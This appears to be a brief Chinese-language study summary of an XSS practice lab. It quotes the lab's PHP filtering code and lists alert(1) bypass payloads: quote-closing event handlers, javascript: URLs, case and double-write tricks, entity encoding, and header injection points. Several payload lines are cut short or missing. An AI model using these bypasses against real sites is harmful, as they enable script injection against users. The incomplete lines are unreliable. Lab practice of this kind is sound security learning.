xss lab注入

XSS-lab简单总结

1.

2. 先闭合标签

3.

闭合引号,绕过html实体化,避免<>的出现。

payload: ‘ onclick=‘alert(1)‘ 单引号闭合

4.$str2=str_replace(">","",$str);

将<>替换为空,可以用上面的方式

$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);

两个过滤,用javascript伪协议

">

$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);

没有转小写,用大写绕过
">

转小写,替换为空,用双写绕过
">alert(1)

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace(‘"‘,‘&quot‘,$str6);

用html实体编码。

javascript:alert(1) //javascript:alert(1)

多加了个这个if(false===strpos($str7,‘http://‘)),检测这句话里面有没有http://

javascript:alert(http://)

" onclick="alert(1)" type=button
" onmouseover= "alert(1)"
" accesskey="x" onclick="alert(1)" type="text"

user-agent,cookie,http_server,都可以是注入点

12.span class="ng-include:‘.htmlspecialchars($str).‘">